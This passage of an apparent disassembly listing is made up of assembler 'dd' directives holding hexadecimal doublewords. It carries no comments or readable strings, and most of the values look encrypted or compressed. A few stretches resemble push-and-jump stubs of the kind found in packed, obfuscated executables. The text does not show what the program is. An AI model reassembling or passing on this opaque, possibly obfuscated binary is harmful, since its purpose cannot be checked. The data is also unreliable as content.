1BCE4D01h, 33D75EDAh, 0EB544F8h, 966A65D9h dd 0DA552F93h, 62EAC76Bh, 225F04D7h, 5ED5F26Eh, 6E9862AAh dd 0A68AB6C7h, 0B96DD5D4h, 0AD896DCCh, 422B15C9h, 0D1065F55h dd 0FDB6938Ah, 0C39D1146h, 8854EE9Dh, 0B4B06DCCh, 79320D97h dd 0DCC807A9h, 11887C58h, 40A9255Ah, 501h, 2D96D78Ch, 7A4626DAh dd 0B1EA9F16h, 31AA499Ch, 0D57A411Fh, 17C8C398h, 0AF67FCEFh dd 2E98BFB3h, 0CD943C9Dh, 17DA1FB6h, 0F7397A55h, 254h dd 7C5F0255h, 0EB0A6DCCh, 352BDEF0h, 0CD67F61Ah, 1E2E3948h dd 0A1C5FBA3h, 822AB1CFh, 0FEDB574Bh, 0E6508E35h, 0C29D7918h dd 0A82FABC7h, 0E9D6CAFFh, 92D376CAh, 8C5E82DEh, 546E772h dd 642CEFD8h, 45224D3Eh, 155C1D5Eh, 20CDA99Eh, 4031CEBBh dd 0E9D2C3D3h, 0D6000009h, 0BE3DF134h, 0DC5BCF06h, 0E970EC25h dd 0C6550946h, 8167E322h, 0F635D705h, 0D112B342h, 0ED28DE5Dh dd 0C41EA71h, 0A8635D50h, 6BDA561Ah, 32179DFAh, 39504479h dd 4A835D92h, 0FF185C47h, 0F705D01h, 0A81944E5h, 0CF8C7A4Fh dd 530C15ACh, 0AED0AA1Eh, 0CC7F47FBh, 0A6C39F6Dh, 6B3320F1h dd 19A0033h, 0D74A0000h, 70245D04h, 932FDAF4h, 736DCC7Ch dd 0B259E2F7h, 5912897Dh, 0DD8F4A24h, 0B015C99Eh, 0F198B229h dd 67FC11C8h, 3C2EE23Eh, 0BA8FC87Dh, 239675D1h, 44DB9894h dd 7B4050A1h, 693039h, 304E0000h, 239EC979h, 1C312D94h dd 6004D790h, 3AF17521h, 0C9AD5994h, 19C251B4h, 87D17447h dd 0C0CD7D86h, 0D4C0A40Eh, 0A6657B50h, 67FC638Dh, 0B2F9AD89h dd 943C6214h, 564A8529h, 0DA518A3Fh, 1F06FA33h, 0AFBC160h dd 0C201A336h, 0A67552CEh, 0F6B5CB0Fh, 943C624Ch, 0E8AFCCA8h dd 397B1825h, 0CF05h, 8C40FB00h, 3294304Dh, 39504479h dd 2DAC5897h, 0E7253876h, 0F27B6A3Ah, 0FCA322CEh, 0F45413C7h dd 456DCC2Ch, 0BF5699Eh, 0B5619850h, 372824A8h, 8C689DF8h dd 0D4070E6Fh, 0FFAE4FAh, 6DCC85B3h, 9230D753h, 0AB6DCC85h dd 4ED2BEF5h, 0D3A5C29Eh, 0FA48E8D8h, 0B5230867h, 0C9C4A2B2h dd 7BC7C29Ch, 9B942270h, 0B7C9A3BFh, 21467B24h, 2A594806h dd 9A2136C7h, 7403B7F6h, 8D2C91D0h, 0A14A0691h, 85EE4F5h dd 9B4B0000h, 0AF55E458h, 9035C478h, 0AF54E357h, 8D3FB672h dd 90ECDA4Eh, 0BB6FAE62h, 9448893Ch, 0B2266105h, 93477C23h dd 5DE5A498h, 0B96BDA57h, 7E32703Ch, 0F5AE2D3Fh, 0A433ABC0h dd 0B7B4C6FBh, 47FA3A65h, 0A4E18658h, 9533ABC0h, 245D04D7h dd 95D38C47h, 81AF79A4h, 4BF1D64Dh, 6A0F4673h, 5A256C51h dd 820CDA32h, 6C13B25Eh, 7E028337h, 7A000002h, 4C1EBD5Ch dd 0F61A2D5Dh, 0C9BDB967h, 259E24A2h, 15ACC794h, 8153FDD0h dd 22EDD39h, 22F0000h, 6DCC7C5Fh, 0DEF0EB0Ah, 0F61A672Bh dd 29431F67h, 8C4F9B2h, 0F1A5DA91h, 14E6F504h, 15E05415h dd 0D176F29Eh, 40314AF0h, 9DF3E4B0h, 8A000007h, 0B229A5E8h dd 9007C3FAh, 0AD2CA0D9h, 7A01BDFAh, 252397D6h, 0BAF9ABD9h dd 95D677FEh, 0B1ECA219h, 90C57EFDh, 5C4F311Ch, 6BDA50E6h dd 321BA1FEh, 0DE504479h, 6822EFEDh, 0EB00D264h dd 45E7B770h, 3A161A06h, 0F74B3E20h, 486DCC69h, 0B6BA66A3h dd 918D6AC6h, 0CE08A7BCh, 6D195A0Bh, 77C1E400h, 9EDBB6Fh dd 0F0C067F4h, 75AA613Dh, 0A5C1A551h, 0F79B7629h, 817B336Ah dd 0D1000001h, 50447932h, 69AA5BDEh, 17A4B9BDh, 9D7F3B70h dd 422E671Eh, 5D7C09DEh, 97926C7Eh, 6DCC7C2Bh, 667A4FCBh dd 0FC1186A3h, 0F0A48067h, 0CA09BB7Eh, 0E2C951D6h, 2E64368Ah dd 0F04E3512h, 139423DBh, 0C805C160h, 8A1F943Ch, 0A55BDA2Ah dd 4BA6596Eh, 2B397BB6h, 4Dh, 0A2E38655h, 11B372EEh, 5C2FF5D2h dd 5D4C1EBDh, 67FC7C74h, 0F5C49692h, 5CE4104Eh, 0F1877377h dd 73B256D5h, 4501A856h, 0DA943C94h, 0B80A0136h, 5C943C94h dd 9930E400h, 0D9CBB7F8h, 54458B2Ah, 8C65801Fh, 6C397A4Dh dd 0CEh, 447932DEh, 58973950h, 0A6762DACh, 5CCEC203h, 0CC7C15ADh dd 5175F16Dh, 610A8175h, 23F9B02Ch, 0FC6DCCF6h, 459A0E43h dd 2D532DAEh, 0FAEA5853h, 0E0A9233h, 33FADB67h, 0ADF3B92h dd 370D33F6h, 89E59805h, 53CE477h, 20381511h, 0A6B8F799h dd 0C6548DA5h, 226D58E6h, 0B821469Ch, 0FC7A449h, 0EA58532Dh dd 0A942027h, 4C161305h, 4420503Ch, 0B9F8AC27h, 4348914h dd 28B1654Ah, 5FCh, 520649E9h, 72E61DC3h, 49053EE3h, 6CE01DD2h dd 40FC3BEDh, 18CC3E4Ah, 33D665D9h, 0BBF36F2h, 26DD5CD0h dd 6E523DF1h, 0DA5207BBh, 3A02DF6Bh, 2D3F7E32h, 90BDF8AEh dd 424B4D08h, 793D1A71h, 0F9C2A6A7h, 314D3799h, 0B3E89F1Ch dd 793271F7h, 92395044h, 3268E15Dh, 0D4000000h, 5B4E7932h dd 6DCC7CE7h, 533F23FFh, 0AA568B34h, 98936D0Fh, 6DCC7C2Ah dd 0AA794ECAh, 0FAB1CF0Bh, 6DCC7C48h, 209BB0ACh, 0D763267h dd 30h, 0A96D77Fh, 8C3D51E9h, 0E2895227h, 15B2F9ADh, 0FD6DCCBAh dd 30AB2FC6h, 0D0544079h, 528740FBh, 0A7675378h, 826EAF62h dd 9BFAB99Eh, 3FCD9166h, 2A447932h, 0AE54941h, 0A2B7A5ADh dd 0CA080FE4h, 1258A907h, 58724E6Bh, 0F6CFD5B1h, 9BB5B167h dd 76326720h, 0D17848FFh, 7FC3C698h, 979426CAh, 0F6CBB79Bh dd 27E2FCDFh, 9E1CAC8Ah, 633DEF6Ah, 0B35F83C0h, 885E8AAFh dd 0FFE95DFDh, 223C38EAh, 375B2429h, 0A9BEAE9Eh, 265B04D7h dd 477C23B2h, 834F665Bh, 0C8AB3FACh, 0AAC4A0B3h, 281BCEFFh dd 0AF1C1894h, 5E2C8222h, 0C1891A0Ah, 0AE000004h, 7605B9FCh dd 942397CEh, 81F8B4EDh, 9E1D91CEh, 392FABEAh, 0AEED9FCDh dd 89CA7BFAh, 65A046D5h, 84B972E9h, 30DBE5C8h, 6BDA5392h dd 32AF7572h, 0E75B4E79h, 0FF6DCC7Ch, 0C8B3F23h, 1F4C1E53h dd 8726D731h, 1486D0B9h, 205F5E2h, 5848257h, 5E7D295Eh dd 22B96DA8h, 2C3F336Ah, 1BD0FC93h, 9F48E988h, 0D05B906Ah dd 70A8FBAh, 6B97D5Ah, 336AF4ABh, 458Bh, 0BD5C0100h, 645D4C1Eh dd 8267FCCAh, 0D4AAD4A6h, 23CE6DD5h, 0D0AD8994h, 4A245F03h dd 6BB5521h, 0ACF38D6Ch, 0FC5AABE5h, 5509DE02h, 23632E96h dd 0A48FF94h, 9C05C856h, 28A4C01Ah, 0CEC2FDB1h, 403C5h dd 96D73700h, 0C456E9FDh, 0CC7A436h, 324C1E53h, 0CCE6CB77h dd 52392B6Dh, 6DCCE6F0h, 1F3C1814h, 8ABF685Fh, 0B96DECCEh dd 0B98E927Eh, 7C4E8D2Ch, 0FC8BAC8Dh, 12FE5A67h, 3CF8FB43h dd 0CA691A94h, 7AA5DE2Fh, 3DBE39h, 0D70C0000h, 472B1096h dd 28155F47h, 5E458912h, 98E502E6h, 89805A81h, 67FC74A8h dd 57FEF26Eh, 943C7BEFh, 1BDE750Eh, 397B2ED2h, 0D56D1C42h dd 31942387h, 9AB6F79Ah, 0A70BBDh, 32810000h, 542A4479h dd 0CC7CED55h, 502D096Dh, 5695374Eh, 3F742BAAh, 0AC62D953h dd 28DF5C71h, 89037F3h, 966DCC01h, 8701C168h, 89E59233h dd 0B40E774h, 0EA1FC84Fh, 0B12AC936h, 0F42FEC9Fh, 5BD79803h dd 687382DFh, 3AF16896h, 38151105h, 155C7F4Bh, 0D1AB879Eh dd 0B327660Ah, 0FDA68024h, 7C58DCC8h, 35A6D8CFh, 0D7C0D440h dd 310h, 4E0A4DFDh, 6EEA21C7h, 550942E7h, 68E421C6h, 4C003FF1h dd 0FCB0225Eh, 0D77A01BDh, 0EF932296h, 0CA81F8B4h, 4A361995h dd 0DA4DE35Fh, 1EA6036Bh, 8B3F7E32h, 0AA1E530Ch, 1EBD5C1Ch dd 0C139324Ch, 15A192B4h, 58EAA1BBh, 0BC6DCC5Bh, 0B3A08B60h dd 5367FC5Bh, 8C8ED3CEh, 2440661Ch, 0A71F214Ah, 391C8840h dd 51765A95h, 62CE8C8Dh, 39E50275h, 3CDAD472h, 27393794h dd 3CDADE64h, 203A3694h, 3CDAD969h, 0CE13D94h, 945D9837h dd 74397A8Fh, 0B3h, 0AA96D7D6h, 0D47AB1CCh, 0A14A11E6h dd 85C6B86Ch, 644B8110h, 54DFFCE2h, 0D68571B0h, 6DCC1A56h dd 0B1CB00A7h, 6A66DCCFh, 0A27E6DCCh, 0E18A11C5h, 0EC0BF8ACh dd 0ED2EDDEFh, 9967FC19h, 994CBE94h, 765AAC0Eh, 0EA565DC2h dd 171B0746h, 0B16A213Bh, 559E0A5Fh, 903407D9h, 0AA5EDD51h dd 0AF9DFE6Bh, 0F9AD4036h, 213F0h, 0B4E0000h, 0E920C84Fh dd 63FE675h, 0E320C352h, 0FD3CF067h, 0CD3F4B41h, 0D960DC1Bh dd 0B443F738h, 0E057D30Eh, 5336F227h, 4E00C269h, 7E46BDAh dd 3F7E323Dh, 862AB18Bh, 2A93247h, 0AC2F11CDh, 0AB8EBBF6h dd 0C3C0B4B3h, 0D7FDC7A4h, 75216004h, 8C78AD56h, 24AFCCA8h dd 0B9FAAB7Bh, 0EE9DC39Dh, 6DCC7C54h, 0AFC3B07Bh, 0EBA3DDC5h dd 34309279h, 58D46DCCh, 289F5F7Ch, 0BDFEAF7Fh, 39EE6DC9h dd 482C08FCh, 6AD73536h, 0BBBFAD80h, 0EAA1189Eh, 0EC6FC1B5h dd 2D09FD34h, 0B526AD50h, 26A3F09Bh, 7A4167FCh, 0BBBF9CD1h dd 9221B35Fh, 4E7932F3h, 3C69E75Bh, 3F23FF94h, 0EA58532Dh dd 0A943C69h, 9B85390Eh, 0CFD290B2h, 0E603E565h, 815B8097h dd 0C5B218Ah, 9D89E59Eh, 641045FEh, 84DB7A49h, 0C5946675h dd 0EF11E621h, 7E54DC11h, 9B0FCDFFh, 8674FAEh, 9CB185B3h dd 1CFC4AEFh, 6F57BC94h, 8CF6E441h, 3DF1CCFh, 0AF639E44h dd 0FEBD8FB3h, 11160A4Bh, 0F5B17AAEh, 76536F49h, 0C29239C0h dd 3E22CE0Fh, 0B3576E22h, 5B656678h, 87AE0498h, 0FFE995B2h dd 0B229AD44h, 54D0C4F9h, 3303BC77h, 0C1A55192h, 5810CBA5h dd 73E87521h, 5FD7E862h, 0D28C6185h, 5B75666Dh, 2C9EE3B0h dd 0DBC7A38Ah, 22CE03BCh, 0ED6201B0h, 30DBF5E6h, 803C4263h dd 2E934723h, 6F1A34A7h, 864623C6h, 9930E440h, 1F01BDF2h dd 0D4A9E89Ch, 0DA906007h, 88CFC39Fh, 0EFE5880Ch, 223C2E1h dd 0ED7B0B49h, 0CD078FD8h, 5B04D7A9h, 0E8D5126h, 0C37F2A55h dd 23CEC624h, 5772B47h, 77549136h, 0D6CA07BCh, 25D10ABFh dd 0DCC8FDA6h, 349837CAh, 0B7BFAC82h, 5FC39C84h, 40DFC499h dd 0B25A2AE1h, 0F9E3577Bh, 0E69E24E7h, 5554CEC6h, 0CEC6E6EDh dd 0F9752D09h, 72B057E4h, 419946BAh, 4B371BABh, 8BC26AF1h dd 12F36Eh, 0D7490000h, 7C4002A9h, 0C8A46DCCh, 71255A11h dd 0C288D8F5h, 493D8032h, 0B0649952h, 463A7519h, 0A95D9E4Fh dd 533F7E32h, 0A5519034h, 50448126h, 0A75B9439h, 55417830h dd 0E28952CFh, 4BF57h, 0FA010000h, 4EA835Fh, 5C241487h dd 5A5F68h, 24348900h, 3CE668h, 241C8900h, 0A742B7BEh dd 17BB5354h, 81216762h, 0CD7301F3h, 2EBC135h, 5887F381h dd 0DE01B444h, 4EC815Bh, 89000000h, 4832424h, 835B0424h dd 348904ECh, 242C8124h, 778142D9h, 8108438Fh, 42D90843h dd 34FF7781h, 0C4815B24h, 4, 5324348Bh, 0C381E389h, 4 dd 8704C383h, 0E95C241Ch, 0FFFA4B7Ch, 70EE92FCh, 0BB07BBDh dd 16346AB8h, 0FFC50306h, 79D519E0h, 6136D263h, 0B85F3041h dd 6D9F561Fh, 75027940h, 97030763h, 0BC7D933Fh, 0D98A9838h dd 0EB191851h, 2034B538h, 81B88025h, 61893064h, 0A4DD1417h dd 95C6330Dh, 0C15FAD13h, 0BCE6C673h, 81C2091Bh, 42F7430Bh dd 0E391B58h, 0C87FD54Ah, 3A851D7Eh, 9E80F012h, 352D2432h dd 299DB808h, 763E5F6Eh, 3540B67Ch, 13AA3105h, 5BEFC300h dd 3E8D8D18h, 6A061636h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 15042444h, 47000000h, 0E66CC357h, 30F9858Bh dd 8D890610h, 61009F5h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 17h, 0E8C35242h, 60E9EB28h, 6654E380h, 6146C2BFh dd 280D9D8Bh, 85C70610h, 6102319h, 6998h, 1C19D29h, 85C70610h dd 61022C1h, 0 dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Bh, 0EDC35545h dd 24983F4Eh, 891784A0h, 100C6D85h, 0D5B5FF06h, 0E906102Eh dd 14h, 0FC872E79h, 1CC02062h, 0DF5CD8DFh, 0D4929218h dd 0B8D7E19Eh, 2DB995FFh, 6A0610h, 31C995FFh, 0C08B0610h dd 5DC51CEBh, 0B4205619h, 0EDA0C361h, 489CFFDh, 6178B73Ch dd 4371DE9Fh, 0B1BB1543h, 11E82E9Fh, 31000000h, 1818739h dd 9992A929h, 0CC645C8Fh, 6490939Fh, 0FF46B866h, 0C68B6659h dd 6800C181h, 0F28B0000h, 68h, 69B58B00h, 5F061031h, 21999D89h dd 1C8B0610h, 0B19D0939h, 81061023h, 0AED0F0C3h, 13E85Eh dd 0FACB0000h, 0D1EBB09Bh, 0F99D3DBCh, 12C3CB6Dh, 5EECA1ECh dd 858B5312h, 61020B1h, 0EB815E5Ah, 6AE41D14h, 81C1BF0Fh dd 8B8673C3h, 6890F68h, 8B000000h, 1018F985h, 391C8906h dd 21A58D89h, 880F0610h, 6, 2A05B529h, 0EF830610h, 4F4F4F01h dd 2ACD9589h, 0FF810610h, 0FFFF98B8h, 0FF88850Fh, 0CE9FFFFh dd 0B2000000h, 0D847995Ah, 0F17F8E34h, 0E947A4FCh, 89h dd 26051B78h, 0BAF5CC47h, 66D138F3h, 9FABAFD6h, 7C4DB297h dd 95B7E3h, 0E9A9E572h, 9BB69CB5h, 0B6F37760h, 9EB794A9h dd 7D60D760h, 9EA9BD89h, 729EBD8Ch, 4A95ACE3h, 9BB98B20h dd 9D89937Eh, 0AFF496B9h, 94A19E96h, 91A7D6B5h, 48D100FDh dd 33594ACCh, 5200713Ch, 0F357DB4Dh, 0EFB6005Eh, 0BD899DBBh dd 9F899500h, 97BBEFB6h, 0B1B6D000h, 527155C3h, 0DA43700h dd 910D3C2h, 0Eh, 2 dup(0) dd 1075E900h, 66680000h, 0E9061639h, 0FFFA48B0h, 163A9968h dd 48A6E906h, 8E68FFFAh, 0E906163Bh, 0FFFA489Ch, 163C9D68h dd 4892E906h, 0E68FFFAh, 0E906163Dh, 0FFFA4888h, 163DBB68h dd 487EE906h, 6268FFFAh, 0E906163Eh, 0FFFA4874h, 163EEA68h dd 486AE906h, 0D568FFFAh, 0E906163Fh, 0FFFA4860h, 1640A468h dd 4856E906h, 8868FFFAh, 0E9061641h, 0FFFA484Ch, 1642D068h dd 4842E906h, 4F68FFFAh, 0E9061645h, 0FFFA4838h, 16467468h dd 482EE906h, 53F3FFFAh, 671D9C10h, 48FD7C30h, 671C9B0Fh dd 8527AE2Ah, 68949246h, 0A31756FAh, 7C307114h, 9A0E49FDh dd 7B2F641Bh, 45FDAC90h, 0A16BDA44h, 79327844h, 92395044h dd 7584E15Dh, 1EC59466h, 24393DE9h, 0BF29223Ch, 5B93A006h dd 2A0FFCD1h, 0DC67FCD5h, 79C59480h, 9C943CD3h, 4DFFBAA4h dd 17FE620Eh, 943CD3ABh, 9032D94Bh, 74943CD3h, 1CFFDCF8h dd 0D17A4185h, 0F5B8BF9Ch, 0D5397A7Ah, 38h, 1EBD5C37h dd 7C745D4Ch, 8D9267FCh, 9D96B4BDh, 60E2C97Fh, 84943CC7h dd 0FCA8CCA8h, 67CD4982h, 331B318Eh, 0DAD16D16h, 7F34943Ch dd 8FAC05E0h, 0B88C397Ah, 0FE000000h, 50447932h, 0AC589739h dd 276407D2h, 59E2F77Bh, 12897DB2h, 1A82459h, 6DCC017Ah dd 994E1EC5h, 35C4785Ch, 58AD598Eh, 79401AC1h, 98C09DD2h dd 3F1F0F1h, 401A1698h, 0DE77810Bh, 0F409D057h, 24C9906Ah dd 686F0EEBh, 1F534D8h, 7C2F4125h, 9E1597D7h, 0A219332Fh dd 326F14EEh, 691B9A0Eh, 0C598BD2Ah, 0E4B04034h, 0E19F3h dd 0D71ACC00h, 0F52CD463h, 0D20BC239h, 0EF2CDF56h, 0C908BC3Bh dd 79EB1715h, 952498D7h, 80F7B3F4h, 9C1B8FCAh, 0FFAAEE3h dd 45C47E2Dh, 0C3206BDAh, 3F7E32F9h, 9ECFB18Bh, 0D22D5126h dd 53EF962Eh, 0B36DCC24h, 7219A2B7h, 5CEB813Dh, 0FBB128BDh dd 7C6DD5C4h, 0AD896DCCh, 463A7B2Eh, 65F406EAh, 989C88BFh dd 1A2F7021h, 7C6E4346h, 0CCA867FCh, 917866D8h, 943C7C31h dd 878459D5h, 943C7C3Fh, 0EB0EA5DEh, 397B3622h, 45295992h dd 0CE759C2Ah, 238567DBh, 0BFA37F94h, 0D646AAh, 0D7840000h dd 407D32A9h, 0CC7CE959h, 3C110D6Dh, 0DF93C87Fh, 0AB8738Dh dd 0EA6DCC7Ch, 2EE2596Eh, 7CB012F9h, 0D8546DCCh, 0DA6108FCh dd 256DCC01h, 695497Eh, 2856285Dh, 3380C181h, 34492592h dd 0CA767D72h, 3C38EC21h, 71184618h, 923380D1h, 3C243935h dd 0BAF19722h, 968D6AC6h, 9803F68Dh, 34914D29h, 3A2436A5h dd 2391F34Fh, 32171394h, 364F7310h, 2F51267Fh, 1546C67Ch dd 28421E9Eh, 0ABC0FFB1h, 236206D5h, 3D7C30A7h, 35ECA190h dd 0D0D9CD40h, 0CE6h, 2B6F999h, 2296CD73h, 0F9B5EE93h dd 1C90CD82h, 30ACEB9Dh, 0E89CCE3Ah, 3A635A9h, 0DB8F06C2h dd 0F6AD2CA0h, 1E220DC1h, 0DA46D76Bh, 0EAB22F6Bh, 8B3F7E32h dd 0AC15530Ch, 1985A7A6h, 0BD4BFFE3h, 50447932h, 0B90900DEh dd 5D6DCC7Ch, 0B86FEC01h, 1C0841E8h, 0F9803C18h, 7A411B54h dd 8BE79BD2h, 0FEDB16CCh, 0ADE28900h, 0BA3F8D31h, 0D0AEC01Bh dd 9B3ABC9Bh, 2C41CC1Bh, 0FCCEE27Fh, 0AD280467h, 0B2E741FEh dd 47F9008Ch, 0B5B165A6h, 0CF8EBF91h, 1352F6A8h, 3BD6035Fh dd 28502DF6h, 9A4C8081h, 0D7146665h, 3A5E42F9h, 0C77B2A72h dd 58919AC6h, 0A58175B4h, 0A15571EDh, 4416C554h, 0AD3B6745h dd 82289F9Bh, 0CDB9F8ACh, 9D998D69h, 497AC8C3h, 0BE9A9B8Fh dd 5A11C8A2h, 0D9904B25h, 0CA2EBBA0h, 7135EF2Dh, 0AC53E25Ch dd 1F71D277h, 653145ABh, 0BF174h, 0BF02A400h, 9DD48C0Bh dd 0BAF39A21h, 97D477FEh, 0B1F09423h, 81F30FFDh, 9D1C90CFh dd 0A82FABECh, 8413C702h, 3732A6DBh, 47FC4645h, 9B186BDAh dd 44793211h, 87546350h, 1EDDB675h, 22B967FCh, 9A0E326Bh dd 532DAE45h, 0C8AD402Dh, 0B354A9B2h, 0BE0CED96h, 1EFA9E13h dd 0C59B2372h, 497A9E13h, 7C7E4FAAh, 475E3F8Bh, 0AC000000h dd 4C1EBD5Ch, 0FCCA645Dh, 319D8267h, 7072A37h, 647EA61h dd 3BEE10EAh, 94230B87h, 0C6BAEF98h, 0FFB6B26Ah, 1D190D4Eh dd 0EDA11840h, 0F14FF6B2h, 4A94230Bh, 69F06CA1h, 0A4968AC5h dd 18357215h, 0B41A9h, 0BD5C2300h, 0F5D4C1Eh, 9767F633h dd 49E20A92h, 970ECF52h, 68CCB8F3h, 40E7728Ch, 1FC84F0Bh dd 2AC936EAh, 2BEC9FB1h, 0D39E1F0Ah, 0DB68557h, 0BF7A64D8h dd 42F9CE0Dh, 53A05489h, 464517C4h, 942F0771h, 7E9F888Dh dd 24A137B4h, 0E3086B54h, 0EFD31C8Dh, 2AF0C34Ah, 0EEF7AF5Eh dd 0AE2h, 0F6B2F595h, 1692C97Fh, 0FDB1EA9Fh, 0D08CC97Eh dd 0F468A749h, 0B4588AF6h, 8F42B975h, 0A75BDA4Eh, 0C269F06Ch dd 0E2DED18Dh, 0DA409B27h, 961E7B6Bh, 0CC7C4402h, 0F1F4036Dh dd 0CC7C883Ah, 0D4F06C6Dh, 33C60FFAh, 0A48067F6h, 94B2A1CAh dd 0BE53AAA5h, 5B04D7A9h, 7C23B226h, 4F665B47h, 0DAB7728Ch dd 0BC9E15CAh, 1F7EFB60h, 3E564031h, 0A7155h, 3F822400h dd 1D540C8Bh, 3A731AA1h, 1754F77Eh, 317014A3h, 1738F7Dh dd 1D9C104Fh, 28AF2B6Ch, 4934782h, 0B7B2265Bh, 417CC6C5h dd 1B986BDAh, 44793291h, 0E4EDDE50h, 60F66F49h, 21CA9166h dd 329138ECh, 787B5693h, 0CD5B336Ah, 0B1000004h, 15D596D7h dd 8F9B3A7Eh, 0A4B99DDEh, 5729B241h, 0C4F9B229h, 8C7754D0h dd 67F6EE7Fh, 8A512B07h, 0A930ACE1h, 67D9CD02h, 0CE0FC279h dd 0EB573E22h, 449426D9h, 0B1B561A0h, 9B8865C1h, 9426D923h dd 2A44971Eh, 0D5C1FAAFh, 0A5647C51h, 9E16BBCCh, 76E94ECAh dd 3A40322Ch, 9C4796Ah, 0D7770000h, 0EBA11894h, 0CC81F8B4h dd 0EBA01793h, 0C97BFAAEh, 0ACD8CE8Ah, 8F4B8A3Eh, 0A8246508h dd 86427D31h, 0A723580Fh, 71D1B8C4h, 956BDA41h, 79328C18h dd 92395044h, 0A122A95Dh, 2A26E702h, 0C396336Bh, 640CE122h dd 424h, 562ADF5Ah, 7F5C78ADh, 7C4402A5h, 0F4036DCCh, 7C883AF1h dd 0F06C6DCCh, 7C972BDEh, 0F36F6DCCh, 70EFDCFh, 0BF67F633h dd 19D28963h, 3AF168E4h, 5517DE0Fh, 7975EB40h, 25CB3092h dd 7C58D494h, 7F23B688h, 3FD62744h, 0AAC7C29Ch, 6C9E15A9h dd 3AA24BF0h, 0C2D24031h, 91DD1h, 0DB1ED000h, 0F930D85Fh dd 0D60FB645h, 0F330D362h, 0CD0CC037h, 7DEF1B11h, 49D08CCBh dd 64F367A8h, 50C783BEh, 3E66297h, 42B012F9h, 57546BDAh dd 447932CDh, 5D923950h, 0DA0FB883h, 497A01FDh, 2A930AAh dd 26E7B0CDh, 6336B2Ah, 378h, 7C5E0244h, 0EA096DCCh, 1E2CDFF1h dd 0E667F633h, 42E9708Ah, 8E82BB72h, 7BFAAE92h, 0EE38FC4h dd 0FFAD407h, 9E15C84Ah, 0A4E385FCh, 6D781BC0h, 144031h dd 89597h, 63A64800h, 81B870E7h, 5E974ECDh, 7BB86BEAh dd 559438BFh, 6597F3D9h, 51C884C3h, 6CEB5FA0h, 38BF7BB6h dd 0EBDE5A8Fh, 42A81A11h, 4F4C6BDAh, 447932C5h, 5AEDDE50h dd 93D073ABh, 22CD42A6h, 0A0D58E45h, 6D0497F4h, 72E61BC4h dd 6B2E66A7h, 6F95D633h, 4BC9E8C2h, 180EC297h, 30000000h dd 0DDC906A9h, 0D7A88459h, 7C4002A9h, 0C8A46DCCh, 2CA36B3h dd 2860000h, 6DCC7C5Eh, 0DFF1EA09h, 8D6AA75Ch, 20C6956Bh dd 12EEF8E5h, 4D771371h, 0A24C7330h, 0B58467F6h, 462AD611h dd 0DBF57131h, 588D3605h, 263F8386h, 5BD79426h, 0D90EB57Eh dd 0F82DD665h, 72B153E6h, 4D7A955h, 0F67A265Bh, 0A5518A3Fh dd 0BA59ACC1h, 7A314F21h, 942626C8h, 451B302Ch, 165B0546h dd 21CAC19Eh, 183C38ECh, 32FBDEB3h, 553E5640h, 7AAh, 0EE6AAD5Dh dd 0CE8AC167h, 0F569A247h, 0C884C166h, 0EC609F51h, 9C5082FEh dd 0B75AE15Dh, 8F33C276h, 0AA61D854h, 0EAD6B975h, 0DA43833Fh dd 0BE86636Bh, 74C996D7h, 2B104900h, 4F2C5C34h, 0F9B0DB84h dd 6DCCA249h, 0E195B1ADh, 4016CC8Fh, 57745089h, 2EE23DCh dd 969F3645h, 3904B8EDh, 336A5778h, 0E58h, 2ED36600h, 482501F5h dd 1E2407Ch, 28C0000h, 6DCC7C5Fh, 0DEF0EB0Ah, 0F6330D2Bh dd 6779F567h, 0E4F62BD4h, 6277B055h, 2DDC02DCh, 9425B595h dd 0D1B5EC71h, 0FFE55A2h, 0E69D1633h, 0E9F0C5B1h, 6831D8F2h dd 0FC9E1530h, 0CCD887CFh, 1C31232Bh, 8DB86F66h, 1502249Eh dd 8064C09Eh, 7B49094h, 4031D078h, 0DBF7E0B4h, 8E000006h dd 962599DCh, 7403B7EEh, 0A11894CDh, 7EFDB1EEh, 0D9CF8BCAh dd 4E8D3FADh, 69AA5BDAh, 85C066F5h, 649952C9h, 10FB05E8h dd 6BDA3CB2h, 32CF5552h, 0DE504479h, 6B35CB00h, 18255022h dd 0CC4BD171h, 7ABB6E6Dh, 1E550B82h, 0F5AE2542h, 0FB5D4C0h dd 0F8AD2CD8h, 0E576D3BFh, 546E74Eh, 3C311511h, 8B4E8827h dd 0F7C499DAh, 0DC9F1B50h, 336AFF11h, 14F1h, 964C0F00h dd 571CA665h, 7CF86DCCh, 40A98358h, 0FCh, 7C5F028Ch, 0EB0A6DCCh dd 0A55BDEF0h, 0C99E826Eh, 33DCF4B7h, 383467F6h, 0B7EC9326h dd 8DCB7403h, 2F1AEC41h, 5EA73067h, 392988B5h, 9A671B37h dd 9B8E607Bh, 9E155BDEh, 59790546h, 0DE61EFE2h, 2004F025h dd 12DF1744h, 0D5E68F74h, 0C12602F8h, 40318FF0h, 0F7534450h dd 0AA000005h, 9209C508h, 0B027A3DAh, 8D0CC0F9h, 9A219DDAh dd 503B7F6h, 9AD98BF9h, 0B5F6971Eh, 91CC82F9h, 0B0E59E1Dh dd 7C2F11FCh, 6BDA3DC6h, 32FBC11Eh, 39504479h, 32A95D92h dd 3655417Ch, 0DB14B991h, 0FB00BF7h, 2C4F4C70h, 9ED38C95h dd 359E6F2Ah, 0F00E336Bh, 33888939h, 0DCF16D92h, 774h dd 3940D600h, 8C000000h, 50447932h, 835D9239h, 2DD910B8h dd 7CEA5853h, 0E0A6DCCh, 0D1711832h, 356DCC7Ch, 47622439h dd 0AF58D978h, 2F45BE7Ah, 6B000000h, 0CFFC3DF0h, 0DFB0D9ABh dd 0C4607D78h, 206104D7h, 36CBF074h, 0ACB0256Eh, 631C97B4h dd 0AA13422Eh, 506DCC62h, 0EC939231h, 122E631Ch, 79321096h dd 7CE75B4Eh, 2EDD6DCCh, 6DCC7C94h, 20FCF470h, 0FCAF2A44h dd 0B259D3BFh, 6DCC7C10h, 7F5C78F4h, 38A3327Fh, 33356326h dd 51CD67F6h, 0CD04BC7Fh, 5A11C8B0h, 7932A925h, 54635044h dd 0B5289A91h, 0B5CC9425h, 4420D413h, 7F2A4420h, 9E1FFABEh dd 4712EC48h, 0BBB76BA0h, 48FFBA9Eh, 67209713h, 43461832h dd 9E1FEEFFh, 403E1B17h, 65776473h, 2F9791A6h, 4CF16D94h dd 5E2B2691h, 0AFA0091Dh, 62000004h, 6AF16DB0h, 48CF8BC2h dd 65F468A1h, 52C985C2h, 0FDEB5F9Eh, 72B15381h, 4D8E3FB6h dd 29640A91h, 487D26B5h, 